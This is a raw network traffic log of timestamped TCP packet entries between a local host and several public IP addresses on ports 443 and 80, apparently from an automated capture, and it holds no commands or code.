Dec 5, 2024 22:16:15.848532915 CET	49748	443	192.168.2.4	104.19.230.21
Dec 5, 2024 22:16:15.848539114 CET	443	49748	104.19.230.21	192.168.2.4
Dec 5, 2024 22:16:15.848548889 CET	443	49748	104.19.230.21	192.168.2.4
Dec 5, 2024 22:16:15.848566055 CET	49748	443	192.168.2.4	104.19.230.21
Dec 5, 2024 22:16:15.848578930 CET	49748	443	192.168.2.4	104.19.230.21
Dec 5, 2024 22:16:15.848582029 CET	443	49748	104.19.230.21	192.168.2.4
Dec 5, 2024 22:16:15.848598957 CET	49748	443	192.168.2.4	104.19.230.21
Dec 5, 2024 22:16:15.849427938 CET	443	49748	104.19.230.21	192.168.2.4
Dec 5, 2024 22:16:15.849474907 CET	49748	443	192.168.2.4	104.19.230.21
Dec 5, 2024 22:16:15.849481106 CET	443	49748	104.19.230.21	192.168.2.4
Dec 5, 2024 22:16:15.849492073 CET	443	49748	104.19.230.21	192.168.2.4
Dec 5, 2024 22:16:15.849534988 CET	49748	443	192.168.2.4	104.19.230.21
Dec 5, 2024 22:16:15.849539995 CET	443	49748	104.19.230.21	192.168.2.4
Dec 5, 2024 22:16:15.849581957 CET	443	49748	104.19.230.21	192.168.2.4
Dec 5, 2024 22:16:15.849625111 CET	49748	443	192.168.2.4	104.19.230.21
Dec 5, 2024 22:16:15.851140022 CET	49748	443	192.168.2.4	104.19.230.21
Dec 5, 2024 22:16:15.851150990 CET	443	49748	104.19.230.21	192.168.2.4
Dec 5, 2024 22:16:15.857600927 CET	49745	80	192.168.2.4	3.5.128.104
Dec 5, 2024 22:16:15.977443933 CET	80	49745	3.5.128.104	192.168.2.4
Dec 5, 2024 22:16:16.207691908 CET	80	49745	3.5.128.104	192.168.2.4
Dec 5, 2024 22:16:16.250159025 CET	49745	80	192.168.2.4	3.5.128.104
Dec 5, 2024 22:16:16.448276043 CET	80	49745	3.5.128.104	192.168.2.4
Dec 5, 2024 22:16:16.500253916 CET	49745	80	192.168.2.4	3.5.128.104
Dec 5, 2024 22:16:19.799608946 CET	49753	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:19.799638033 CET	443	49753	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:19.799700975 CET	49753	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:19.800036907 CET	49753	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:19.800052881 CET	443	49753	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:19.800534010 CET	49754	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:19.800565004 CET	443	49754	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:19.800618887 CET	49754	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:19.800899029 CET	49754	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:19.800911903 CET	443	49754	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:21.020173073 CET	443	49753	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:21.020247936 CET	443	49754	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:21.020445108 CET	49753	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:21.020463943 CET	443	49753	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:21.020570040 CET	49754	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:21.020592928 CET	443	49754	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:21.021578074 CET	443	49754	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:21.021639109 CET	49754	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:21.021830082 CET	443	49753	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:21.021888018 CET	49753	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:21.022768974 CET	49754	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:21.022797108 CET	49754	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:21.022825956 CET	443	49754	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:21.022874117 CET	49754	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:21.022900105 CET	49754	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:21.023248911 CET	49755	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:21.023267984 CET	443	49755	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:21.023329973 CET	49755	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:21.023406982 CET	49753	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:21.023426056 CET	49753	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:21.023461103 CET	49753	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:21.023536921 CET	443	49753	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:21.023586035 CET	49753	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:21.023634911 CET	49756	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:21.023665905 CET	443	49756	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:21.023722887 CET	49756	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:21.023829937 CET	49755	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:21.023842096 CET	443	49755	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:21.023960114 CET	49756	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:21.023971081 CET	443	49756	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:22.241220951 CET	443	49756	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:22.241430044 CET	443	49755	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:22.241719961 CET	49756	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:22.241745949 CET	443	49756	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:22.241873026 CET	49755	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:22.241904020 CET	443	49755	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:22.242777109 CET	443	49756	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:22.242845058 CET	49756	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:22.242913961 CET	443	49755	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:22.242970943 CET	49755	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:22.243985891 CET	49756	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:22.244050980 CET	443	49756	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:22.244313002 CET	49755	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:22.244393110 CET	443	49755	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:22.244411945 CET	49756	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:22.244420052 CET	443	49756	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:22.298120975 CET	49755	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:22.298121929 CET	49756	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:22.298130035 CET	443	49755	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:22.345006943 CET	49755	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:23.082597017 CET	443	49756	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:23.082701921 CET	443	49756	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:23.082732916 CET	443	49756	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:23.082746983 CET	49756	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:23.082762003 CET	443	49756	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:23.082801104 CET	49756	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:23.082808018 CET	443	49756	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:23.090917110 CET	443	49756	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:23.090960026 CET	49756	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:23.090967894 CET	443	49756	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:23.107613087 CET	443	49756	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:23.107650042 CET	49756	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:23.107656002 CET	443	49756	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:23.156898975 CET	49756	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:23.156905890 CET	443	49756	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:23.202840090 CET	443	49756	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:23.202925920 CET	49756	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:23.202936888 CET	443	49756	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:23.248795986 CET	49756	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:23.274564028 CET	443	49756	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:23.284431934 CET	443	49756	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:23.284527063 CET	49756	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:23.284535885 CET	443	49756	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:23.284806013 CET	443	49756	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:23.284859896 CET	49756	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:23.284866095 CET	443	49756	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:23.284931898 CET	443	49756	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:23.284979105 CET	49756	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:23.291642904 CET	49756	443	192.168.2.4	104.21.43.181
Dec 5, 2024 22:16:23.291651964 CET	443	49756	104.21.43.181	192.168.2.4
Dec 5, 2024 22:16:23.436319113 CET	49758	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:23.436337948 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:23.436408997 CET	49758	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:23.436583996 CET	49759	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:23.436626911 CET	443	49759	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:23.436678886 CET	49759	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:23.436846972 CET	49758	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:23.436866045 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:23.436966896 CET	49759	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:23.436980009 CET	443	49759	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:23.437555075 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:23.437561989 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:23.437609911 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:23.437779903 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:23.437788963 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:24.652370930 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:24.652688980 CET	49758	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:24.652707100 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:24.653686047 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:24.653753996 CET	49758	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:24.654762983 CET	49758	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:24.654823065 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:24.655023098 CET	49758	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:24.655030966 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:24.655396938 CET	443	49759	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:24.655565023 CET	49759	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:24.655580044 CET	443	49759	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:24.656555891 CET	443	49759	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:24.656610012 CET	49759	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:24.657363892 CET	49759	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:24.657401085 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:24.657421112 CET	443	49759	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:24.657624960 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:24.657633066 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:24.657716990 CET	49759	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:24.657722950 CET	443	49759	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:24.658606052 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:24.658662081 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:24.659396887 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:24.659452915 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:24.659565926 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:24.659570932 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:24.707334995 CET	49759	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:24.707340956 CET	49758	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:24.709286928 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:25.081989050 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:25.115346909 CET	443	49759	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:25.115421057 CET	443	49759	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:25.115472078 CET	49759	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:25.132725000 CET	49758	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:25.201826096 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:25.201858044 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:25.201911926 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:25.201930046 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:25.201937914 CET	49758	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:25.201955080 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:25.201967001 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:25.201993942 CET	49758	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:25.202023983 CET	49758	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:25.212404013 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.212455034 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.212502003 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:25.212516069 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.212551117 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.212591887 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:25.212599039 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.221168995 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.221230030 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:25.221237898 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.229502916 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.229547024 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:25.229553938 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.270376921 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:25.270387888 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.321523905 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:25.332376957 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.333065033 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.333127975 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:25.333141088 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.337598085 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:25.337609053 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:25.337651968 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:25.337661028 CET	49758	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:25.337671041 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:25.337678909 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:25.337709904 CET	49758	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:25.337733984 CET	49758	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:25.373997927 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:25.374102116 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:25.374124050 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:25.374192953 CET	49758	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:25.374201059 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:25.374243021 CET	49758	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:25.374260902 CET	49758	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:25.404347897 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.409682035 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.409720898 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:25.409729958 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.417438030 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.417509079 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:25.417511940 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.417521954 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.417560101 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:25.425276041 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.430636883 CET	49759	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:25.430660009 CET	443	49759	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:25.434578896 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.434628010 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:25.434634924 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.436295033 CET	49761	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:25.436328888 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:25.436397076 CET	49761	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:25.436615944 CET	49761	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:25.436630011 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:25.441900969 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.441948891 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:25.441956043 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.449032068 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.449074984 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:25.449081898 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.456490993 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.456535101 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:25.456542015 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.471862078 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.471905947 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:25.471914053 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.478862047 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.478905916 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:25.478912115 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.485939026 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.485982895 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:25.485987902 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.492918968 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.492963076 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:25.492969036 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.499948978 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.499988079 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:25.499993086 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.500066042 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.500114918 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:25.500221014 CET	49760	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:25.500231028 CET	443	49760	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.504961967 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:25.504987001 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:25.505026102 CET	49758	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:25.505039930 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:25.505068064 CET	49758	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:25.505088091 CET	49758	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:25.534728050 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:25.534769058 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:25.534805059 CET	49758	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:25.534812927 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:25.534847021 CET	49758	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:25.534866095 CET	49758	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:25.547235012 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:25.547298908 CET	49758	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:25.547308922 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:25.547322035 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:25.547363997 CET	49758	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:25.547794104 CET	49758	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:25.547801971 CET	443	49758	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:25.650660038 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:25.650703907 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.650784969 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:25.651082993 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:25.651107073 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:25.704742908 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:25.704766035 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:25.704838991 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:25.705073118 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:25.705087900 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:26.651834965 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:26.654787064 CET	49761	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:26.654804945 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:26.655157089 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:26.655963898 CET	49761	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:26.656032085 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:26.656150103 CET	49761	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:26.703336000 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:26.871423006 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:26.871769905 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:26.871788025 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:26.872816086 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:26.872884035 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:26.873240948 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:26.873298883 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:26.873383999 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:26.916265965 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:26.916564941 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:26.916579008 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:26.917591095 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:26.917666912 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:26.917987108 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:26.918044090 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:26.918121099 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:26.919331074 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:26.920605898 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:26.920614004 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:26.959336042 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:26.966712952 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:26.966722012 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:26.966732979 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:27.012732029 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.113712072 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.114136934 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.114176035 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.114192963 CET	49761	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:27.114219904 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.114262104 CET	49761	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:27.114351034 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.122498989 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.122562885 CET	49761	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:27.122570992 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.130916119 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.130999088 CET	49761	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:27.131020069 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.139307976 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.139362097 CET	49761	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:27.139369965 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.190845966 CET	49761	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:27.233360052 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.284418106 CET	49761	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:27.284431934 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.309566975 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.309648991 CET	49761	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:27.309659004 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.319242001 CET	443	49761	104.18.94.41	192.168.2.4
